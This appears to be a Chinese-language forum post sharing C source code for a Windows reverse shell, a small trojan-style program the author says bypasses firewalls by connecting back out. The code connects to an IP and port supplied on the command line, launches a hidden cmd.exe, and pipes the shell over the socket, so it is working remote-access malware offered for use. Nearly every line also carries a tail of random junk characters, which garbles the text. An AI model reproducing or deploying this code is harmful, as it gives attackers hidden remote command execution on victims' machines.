这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GSQfg
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/* ============================== }W1^t
Rebound port in Windows NT /M 0 p_4
By wind,2006/7 =Q@6c
===============================*/ PM@XtL7J
#include M6\7FP6G
#include @|^jq
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#pragma comment(lib,"wsock32.lib") DX|uHbGg
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void OutputShell(); B9wp*:.
SOCKET sClient; 'w}p[(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JdtPY~k0
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void main(int argc,char **argv) NzAQ@E2d:
{ Hr8\QgD<4
WSADATA stWsaData; .
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int nRet; m+H% g"Zj
SOCKADDR_IN stSaiClient,stSaiServer; :#Ty^-"]1
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if(argc != 3) hPcS,
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{ r9?o$=T
printf("Useage:\n\rRebound DestIP DestPort\n"); n-d:O\]
return; mLJDxh'B
} $> ;a'f~
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7 xUE,)?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 02,W~+d1
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stSaiClient.sin_family = AF_INET; &1=g A.ZR
stSaiClient.sin_port = htons(0); t{~@I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rrAqI$6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 97!H`|u <
{ R+s1[Z
printf("Bind Socket Failed!\n"); $1~c_<DN
return; uw_H:-J
} ~,T+JX
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stSaiServer.sin_family = AF_INET; :xM}gPj"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y hS{$Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mzu<C)9d,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) > <X $#
{ U3/8A:$y
printf("Connect Error!"); 0F1u W>D1
return; 0#<WOns1
} uNy!<u
OutputShell(); %w$mSG
} ?;_H{/)m
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void OutputShell() of=ql
{ g*F~8+]Y
char szBuff[1024]; Y!M~#oqio
SECURITY_ATTRIBUTES stSecurityAttributes; l/M[am
OSVERSIONINFO stOsversionInfo; 5E`JD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &;s<dDQK
STARTUPINFO stStartupInfo; SAy{YOLtl
char *szShell; s047"Q
PROCESS_INFORMATION stProcessInformation; 4b=Gg
unsigned long lBytesRead; \KCWYi]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YIO.yN"0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '=p?
stSecurityAttributes.lpSecurityDescriptor = 0; BR3wX4i\
stSecurityAttributes.bInheritHandle = TRUE; ?]5Ix1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5~Q Tg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $7Cgo &J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y`6\L$c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gp8psH
stStartupInfo.wShowWindow = SW_HIDE; fQO
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stStartupInfo.hStdInput = hReadPipe; e:BDQU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /~tP7<7A
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GetVersionEx(&stOsversionInfo); **n y!
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switch(stOsversionInfo.dwPlatformId) o<nS_x
{ &1l~&,,
case 1: j$mz3Yk
szShell = "command.com"; 0X#+#[W
break; !UVk9
default: [EruyWK
szShell = "cmd.exe"; >O3IfS(l
break; V,vc_d?,_o
} z-I|h~ii
hVkO%]?
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8RU.}PD
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send(sClient,szMsg,77,0); bM ^7g
while(1) ~3d*b8
{ FllX za)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `6}Yqh))
if(lBytesRead) [1U{ci&=p
{ 3Soy3Xp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y]
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send(sClient,szBuff,lBytesRead,0); %0zS
} 'gCZ'edM
else ~5T$8^K
{ HD H
lBytesRead=recv(sClient,szBuff,1024,0); lCHo+>\Z
if(lBytesRead<=0) break; {m'AY)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c})wD+1
} vzG ABP
} e,"FnW
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return; )P%4:P
}